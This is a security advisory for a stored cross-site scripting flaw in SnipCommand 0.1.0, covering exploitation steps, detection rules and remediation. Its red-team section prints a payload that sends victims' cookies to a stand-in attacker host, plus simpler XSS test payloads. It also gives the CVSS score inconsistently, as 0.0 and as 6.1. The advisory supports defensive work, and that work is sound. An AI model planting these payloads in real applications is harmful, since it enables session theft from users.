CVE-2021-47841

Executive Summary

CVE-2021-47841 identifies a stored cross-site scripting (XSS) vulnerability in SnipCommand version 0.1.0. The flaw allows an attacker to inject malicious JavaScript payloads into command snippets via the file or title input fields. When a victim views the crafted snippet, the payload executes in their browser, potentially leading to session hijacking, credential theft, or further exploitation. The vulnerability is unpatched, and no official fix has been released by the vendor. The CVSS score is 0.0 due to incomplete NVD data, but the actual risk is moderate given the XSS vector.

Supply Chain & Package Security

SnipCommand is a command snippet management tool. As an open-source project, it may be distributed via package managers or direct downloads. Users should verify the integrity of any downloaded binaries or source code. No known supply chain attacks have been reported for this specific CVE, but the lack of a patch increases the risk of malicious forks or unofficial patches.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

The threat level is Medium. Exploitation requires user interaction (clicking a crafted snippet), but the impact is limited to information disclosure and minor integrity compromise.

Deep Dive & Mechanics

The vulnerability resides in the snippet creation and rendering functionality of SnipCommand. When a user creates a new command snippet, the application accepts user-supplied input for the file and title fields without proper sanitization or encoding. These inputs are later rendered in the web interface without escaping, allowing an attacker to inject arbitrary HTML and JavaScript.

Attack Flow:

1. Attacker crafts a malicious snippet with a payload in the file or title field, e.g., <script>alert('XSS')</script>.
2. The snippet is stored in the application's database.
3. When a victim views the snippet list or detail page, the payload executes in their browser.
4. The attacker can then steal cookies, session tokens, or perform actions on behalf of the victim.

Root Cause: Lack of output encoding and input validation on user-controlled fields.

Vulnerable vs. Patched Code

Vulnerable Code (SnipCommand 0.1.0):

// Example of vulnerable rendering (pseudo-code)
function renderSnippet(snippet) {
    document.getElementById('title').innerHTML = snippet.title;
    document.getElementById('file').innerHTML = snippet.file;
}

Patched Code (Hypothetical fix):

// Example of patched rendering with encoding
function renderSnippet(snippet) {
    document.getElementById('title').textContent = snippet.title;
    document.getElementById('file').textContent = snippet.file;
}

The fix uses textContent instead of innerHTML, which automatically escapes HTML entities and prevents script execution.

Exploitation & Lab Setup

Red Team

Prerequisites:

• SnipCommand 0.1.0 running on a local or remote server.
• Ability to create a snippet (no authentication required if default config).

Exploitation Steps:

1. Access the SnipCommand web interface.
2. Create a new snippet with the following payload in the title field:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

3. Save the snippet.
4. Share the snippet link with the victim.
5. When the victim views the snippet, the payload executes and exfiltrates their cookies.

Alternative Payload (File field):

<img src=x onerror="alert('XSS')">

Blue Team

Detection:

• Monitor web application logs for unusual input patterns in snippet creation requests.
• Look for requests containing <script>, <img onerror, or other XSS vectors.
• Use WAF rules to block common XSS payloads.

Hunting:

• Search for stored snippets containing JavaScript event handlers or script tags.
• Review database entries for the title and file columns for suspicious content.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to attacker-controlled domains from the SnipCommand server.
  • Unusual Referer headers pointing to SnipCommand pages.
• File IOCs:
  • Snippet entries in the database containing <script> tags or event handlers.
• Log IOCs:
  • Web server logs showing requests with XSS payloads in title or file parameters.

Detection Engineering

YARA Rule

rule CVE_2021_47841_SnipCommand_XSS {
    meta:
        description = "Detects XSS payloads in SnipCommand snippet data"
        author = "Valters IT"
        date = "2025-04-16"
        cve = "CVE-2021-47841"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /<img[^>]*onerror[^>]*>/i
        $xss3 = /<svg[^>]*onload[^>]*>/i
    condition:
        any of them
}

Sigma Rule

title: SnipCommand XSS Payload Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects XSS payloads in SnipCommand snippet creation requests
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains:
            - 'title='
            - 'file='
        cs-uri-query|re:
            - '<script'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of HTML in snippet descriptions (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2021-47841 SnipCommand XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/snippet"; http_uri; content:"title="; http_client_body; pcre:"/<script|<img[^>]*onerror|<svg[^>]*onload/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable SnipCommand if not critical to operations.
2. Apply input validation to the title and file fields (allow only alphanumeric and safe characters).
3. Implement output encoding using textContent or a templating engine that auto-escapes HTML.

Long-Term Fix:

• Upgrade to a patched version if released.
• Fork the repository and apply the fix manually.
• Use a Content Security Policy (CSP) to mitigate XSS impact.

Workarounds:

• Use a Web Application Firewall (WAF) to block XSS payloads.
• Restrict access to the SnipCommand interface to trusted users only.

Valters IT